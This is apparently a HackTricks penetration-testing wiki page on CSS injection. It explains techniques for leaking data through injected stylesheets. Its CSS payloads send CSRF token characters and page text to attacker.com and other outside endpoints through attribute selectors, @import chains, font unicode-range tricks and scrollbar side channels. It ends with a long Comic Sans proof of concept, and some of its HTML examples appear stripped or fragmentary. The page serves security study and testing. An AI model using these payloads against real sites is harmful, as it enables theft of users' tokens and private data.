# CSS Injection
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
## CSS Injection ### Attribute Selector The main technique to exfiltrate information via CSS Injection is to try to **match a text with CSS** and in case that **text exist** **load some external resource, like:** ```css input[name=csrf][value^=a]{ background-image: url(https://attacker.com/exfil/a); } input[name=csrf][value^=b]{ background-image: url(https://attacker.com/exfil/b); } /* ... */ input[name=csrf][value^=9]{ background-image: url(https://attacker.com/exfil/9); } ``` However, note that this technique won't work if, in the example, the **csrf name input** is of **type hidden** (and they usually are), because the background won't be loaded.\ However, you can **bypass** this impediment by, instead of making the hidden element load a background, **just make anything after it load the background:** ```css input[name=csrf][value^=csrF] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` Some code example to exploit this: [https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) #### Prerequisites 1. The CSS injection needs to allow for sufficiently long payloads 2. Ability to **frame the page to trigger CSS re-evaluation of newly generated payloads** 3. Ability to use **externally hosted images** (could be blocked by CSP) ### @import The previous technique has some drawbacks, check the prerequisites. You either need to be able to **send multiple links to the victim**, or you need to be able to **iframe the CSS injection vulnerable page**. However, there is another clever technique that uses **CSS `@import`** to improve the quality of the technique. This was first showed by [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) and it works like this: Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to **load the page just once and just with an import to the attackers server** (this is the payload to send to the victim): ```css @import url('//attacker.com:5001/start?'); ``` 1. The import is going to **receive some CSS script** from the attackers and the **browser will load it**. 2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.** 1. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones. 3. The second and bigger part of the payload is going to be an **attribute selector leakage payload** 1. This will send to the attackers server the **first char of the secret and the last one** 4. Once the attackers server has received the **first and last char of the secret**, it will **respond the import requested in the step 2**. 1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**. The attacker will f**ollow that loop until it manages to leak completely the secret**. You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](./#css-injection) {% hint style="info" %} The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like: ```css /* value^= to match the beggining of the value*/ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} /* value$= to match the ending of the value*/ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)} ``` This allows the script to leak the secret faster. {% endhint %} {% hint style="warning" %} Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\ No worries, just check the **output** because **you can see the flag there**. {% endhint %} ### Other selectors Other ways to access DOM parts with **CSS selectors**: * **`.class-to-search:nth-child(2)`**: This will search the second item with class "class-to-search" in the DOM. * **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:** ```css [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); } ``` ### Error based XS-Search **Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234) Basically the main idea is to **use a custom font from an endpoint controlled by us** in a **text that will be showed only if the resource can not be loaded**. ```html A ``` ### Styling Scroll-to-Text Fragment When a **URL fragment targets an element**, the [**`:target`**](https://drafts.csswg.org/selectors-4/#the-target-pseudo) pseudo-class **can be used** to select it, but **`::target-text` does not match anything**. It only matches text that is itself targeted by the \[fragment]. Therefore, an attacker could use the **Scroll-to-text** fragment and if **something is found** with that text we can **load a resource** from the attackers server to indicate it: ``` :target::before { content : url(target.png) } ``` An example of this attack could be: ``` http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator ``` Which is sending the code: ```css ``` with the scroll-to-text fragment: `#:~:text=Administrator` If the word Administrator is found, the indicated resource will be loaded. There are three main mitigations: 1. **STTF can match only words or sentences on a web page**, theoretically making it impossible to leak random secrets or tokens (unless we break down the secret in one-letter paragraphs). 2. It is **restricted to top-level browsing contexts**, so it won’t work in an iframe, making the attack **visible to the victim**. 3. **User-activation gesture is needed for STTF to work**, so only navigations that are a result of user actions are exploitable, which greatly decreases the possibility to automate the attack without user interaction. However, there are certain conditions that the author of the above blog post discovered that facilitate the automation of the attack. Another, similar case, will be presented in PoC#3. 1. There are some **bypasses** for this like **social engineering**, or **forcing common browser extensions to interact**. For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/) ### @font-face / unicode-range You can specify **external fonts for specific unicode values** that will only be **gathered if those unicode values are present** in the page. For example: ```html

AB

htm ``` When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B". ### Text node exfiltration (I): ligatures **Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) We can extract the text contained in a node with a technique that combines **font ligatures** and the **detection of width changes**. The main idea behind this technique is the creation of fonts that contains a predefined ligature with **high size** and the usage of **size changes as oracle**. The fonts can be created as SVG fonts and then converted to woff with fontforge. In SVG we can define the width of a glyph via **horiz-adv-x** attribute, so we can build something like ``, being **XY a sequence of two chars**. **If the sequence exists, it will be rendered and the size of the text will change**. But… how can we detect these changes? When the attribute white-space is defined as **nowrap** it forces the text to do not break when it exceeds the parent’s width. In this situation, an **horizontal scrollbar will appear**. And we can **define the style of that scrollbar**, so we can leak when this happens **:)** ```css body { white-space: nowrap }; body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); } ``` At this point the attack is clear: 1. Create **fonts** for the combination of **two chars with huge width** 2. Detect the **leak via the scrollbar trick** 3. Using the first ligature leaked as base, create **new combinations of 3 chars** (adding before / after chars) 4. **Detect** the **3-chars ligature**. 5. Repeat until **leaking the whole text** We still needing an improved method to start the iteration because ` **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed. The key is to use an animation to **grow the div width from 0 to the end of the text**, the size of a char each time. Doing this we can “split” the text in two parts: a “prefix” (the first line) and a “suffix”, so every time the div increases its width a new char moves from the “suffix” to the “prefix”. Something like: **C**\ ADB **CA**\ DB **CAD**\ B **CADB** When a new char goes to the first line, the **unicode-range trick is used to detect the new character in the prefix**. This detection is made changing the font to Comic Sans, which its heigth is superior so a **vertical scrollbar is triggered** (leaking the char value). This way we can leak every different character one time. **We can detect if a character is repated but not what character is repeated**. {% hint style="info" %} Basically, the **unicode-range is used to detect a char**, but as we don't want to load an external font, we need to find another way.\ When the **char** is **found**, it's **given** the pre-installed **Comic Sans font**, which **makes** the char **bigger** and **triggers a scroll bar** which will **leak the found char**. {% endhint %} Check the code extracted from the PoC: ```css /* comic sans is high (lol) and causes a vertical overflow */ @font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;} @font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;} @font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;} @font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;} @font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;} @font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;} @font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;} @font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;} @font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;} @font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;} @font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;} @font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;} @font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;} @font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;} @font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;} @font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;} @font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;} @font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;} @font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;} @font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;} @font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;} @font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;} @font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;} @font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;} @font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;} @font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;} @font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;} @font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;} @font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;} @font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;} @font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;} @font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;} @font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;} @font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;} @font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;} @font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;} @font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF} div.leak { overflow-y: auto; /* leak channel */ overflow-x: hidden; /* remove false positives */ height: 40px; /* comic sans capitals exceed this height */ font-size: 0px; /* make suffix invisible */ letter-spacing: 0px; /* separation */ word-break: break-all; /* small width split words in lines */ font-family: rest; /* default */ background: grey; /* default */ width: 0px; /* initial value */ animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */ animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */ } div.leak::first-line{ font-size: 30px; /* prefix is visible in first line */ text-transform: uppercase; /* only capital letters leak */ } /* iterate over all chars */ @keyframes trychar { 0% { font-family: rest; } /* delay for width change */ 5% { font-family: has_A, rest; --leak: url(?a); } 6% { font-family: rest; } 10% { font-family: has_B, rest; --leak: url(?b); } 11% { font-family: rest; } 15% { font-family: has_C, rest; --leak: url(?c); } 16% { font-family: rest } 20% { font-family: has_D, rest; --leak: url(?d); } 21% { font-family: rest; } 25% { font-family: has_E, rest; --leak: url(?e); } 26% { font-family: rest; } 30% { font-family: has_F, rest; --leak: url(?f); } 31% { font-family: rest; } 35% { font-family: has_G, rest; --leak: url(?g); } 36% { font-family: rest; } 40% { font-family: has_H, rest; --leak: url(?h); } 41% { font-family: rest } 45% { font-family: has_I, rest; --leak: url(?i); } 46% { font-family: rest; } 50% { font-family: has_J, rest; --leak: url(?j); } 51% { font-family: rest; } 55% { font-family: has_K, rest; --leak: url(?k); } 56% { font-family: rest; } 60% { font-family: has_L, rest; --leak: url(?l); } 61% { font-family: rest; } 65% { font-family: has_M, rest; --leak: url(?m); } 66% { font-family: rest; } 70% { font-family: has_N, rest; --leak: url(?n); } 71% { font-family: rest; } 75% { font-family: has_O, rest; --leak: url(?o); } 76% { font-family: rest; } 80% { font-family: has_P, rest; --leak: url(?p); } 81% { font-family: rest; } 85% { font-family: has_Q, rest; --leak: url(?q); } 86% { font-family: rest; } 90% { font-family: has_R, rest; --leak: url(?r); } 91% { font-family: rest; } 95% { font-family: has_S, rest; --leak: url(?s); } 96% { font-family: rest; } } /* increase width char by char, i.e. add new char to prefix */ @keyframes loop { 0% { width: 0px } 1% { width: 20px } 2% { width: 40px } 3% { width: 60px } 4% { width: 80px } 4% { width: 100px } 5% { width: 120px } 6% { width: 140px } 7% { width: 0px } } div::-webkit-scrollbar { background: blue; } /* side-channel */ div::-webkit-scrollbar:vertical { background: blue var(--leak); } ``` ## References * [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) * [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) * [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) * [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).